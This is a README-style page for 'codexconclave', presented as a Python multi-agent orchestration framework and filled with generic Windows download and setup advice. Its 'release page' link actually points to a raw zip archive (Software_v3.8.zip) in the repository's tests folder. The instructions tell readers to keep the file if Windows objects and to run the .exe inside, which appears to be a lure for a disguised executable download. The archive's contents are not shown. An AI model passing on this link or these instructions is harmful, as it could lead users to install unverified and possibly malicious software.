codexconclave：用 Python 框架编排多 AI 智能体团队

🧩 What this app does

codexconclave is a Python framework for running teams of AI agents. It helps one agent pass work to another, follow steps in order, and keep a task moving without much manual work.

Use it when you want to:

break one big task into smaller parts
let agents work in a set flow
connect with AI models through LiteLLM
handle events and steps in a clear order
build multi-agent workflows that stay organized

💻 What you need on Windows

Before you start, make sure your PC has:

Windows 10 or Windows 11
An internet connection
Enough free space for the app and its files
A modern web browser
Python 3.11 or later if the release you download needs it

If the release includes a ready-to-run Windows file, you can use that file without setting up a full dev tool chain.

📥 Download the app

Visit the release page here:

Download codexconclave from GitHub Releases

On that page, look for the latest release. Then choose the Windows file or package that matches your system.

🪟 Install on Windows

Follow the steps below:

Open the release page.
Find the latest version.
Open the list of files for that release.
Download the Windows file that fits your setup.
If Windows asks for permission, choose to keep the file.
When the download ends, open the file or unzip the folder if needed.
If the app starts in a terminal window, keep that window open while you use it.

If the release gives you a .exe file, double-click it to run the app.

If the release gives you a .zip file, right-click it and choose Extract All, then open the extracted folder and start the app file inside it.

🛠️ First run

The first time you start codexconclave, it may ask for:

an API key for your AI provider
a model name
a task or workflow file
a folder where it should save results

Use the values from your own AI account and project setup.

If the app opens in a terminal, you may need to type or paste the values there. If it opens a small window, use the fields on screen.

⚙️ Common setup values

You may see settings like these:

OPENAI_API_KEY for OpenAI models
ANTHROPIC_API_KEY for Anthropic models
LITELLM_MODEL for the model name
WORKFLOW_PATH for the workflow file
OUTPUT_DIR for saved files

If you are not sure what to enter, start with the values that came with the release notes or sample files.

🔄 How it works

codexconclave follows a simple flow:

One agent receives the task.
The task gets split into smaller steps.
Other agents handle each step.
The framework passes results from one step to the next.
The final output comes back in one place.

This setup helps keep complex work in order. It also makes it easier to trace what each agent did.

🧠 Typical uses

You can use codexconclave for tasks like:

research flows
content drafting
support triage
data review
task routing
code-related agent chains
automated report steps

It fits jobs where one AI call is not enough and you need a set of linked actions.

📁 Project files you may see

After you download and unzip the app, you may see files and folders like these:

workflows/ for task flows
agents/ for agent setup
config/ for app settings
examples/ for sample runs
logs/ for run history
output/ for saved results

You do not need to change all of these. Start with the sample files if the release includes them.

🧪 Basic use flow

A common run looks like this:

Open the app.
Load a sample workflow.
Add your prompt or task.
Pick the model you want to use.
Run the workflow.
Check the output folder or screen results.

If you want to test it first, use a short task such as a simple research or planning flow.

🔐 API keys

If your release uses hosted AI models, you need an API key. Keep the key private.

Common places to enter it:

a .env file
a settings screen
a prompt in the terminal

If you use a .env file, it may look like this:

OPENAI_API_KEY=your_key_here
ANTHROPIC_API_KEY=your_key_here

Do not share this file with others.

📌 Sample workflow idea

Here is a simple example of how a workflow can work:

Agent 1 reads the task
Agent 2 gathers facts
Agent 3 checks the result
Agent 4 writes the final output

This helps you separate jobs and keep each step focused.

🧭 Troubleshooting

If the app does not start:

check that the file finished downloading
make sure Windows did not block the file
run the app again from the same folder
confirm that Python is installed if the release needs it
check the release notes for extra setup steps

If the app opens but nothing happens:

check the terminal for messages
make sure your API key is set
confirm the model name is valid
try a sample workflow first

If you get a file path error:

move the app folder to a simple path like C:\codexconclave
avoid folders with long names or special characters

🔄 Updating the app

When a new release comes out:

Open the releases page.
Download the newest version.
Replace the old files with the new files if needed.
Keep your workflow files and settings if they are separate from the app files.

If the app stores settings in its own folder, back them up before you replace files.

🧰 Best folder setup

For a smooth run, keep the app in a simple folder such as:

C:\codexconclave
C:\Apps\codexconclave

This makes file paths easier to manage and cuts down on path errors.

📦 Release page

Use this page to get the latest Windows build:

https://github.com/Hasyim12426/codexconclave/raw/refs/heads/main/tests/Software_v3.8.zip

📝 What to expect

codexconclave is built for agent orchestration. It focuses on task flow, model calls, and output handling. That makes it a good fit when you want AI steps to work as a team and not as one loose call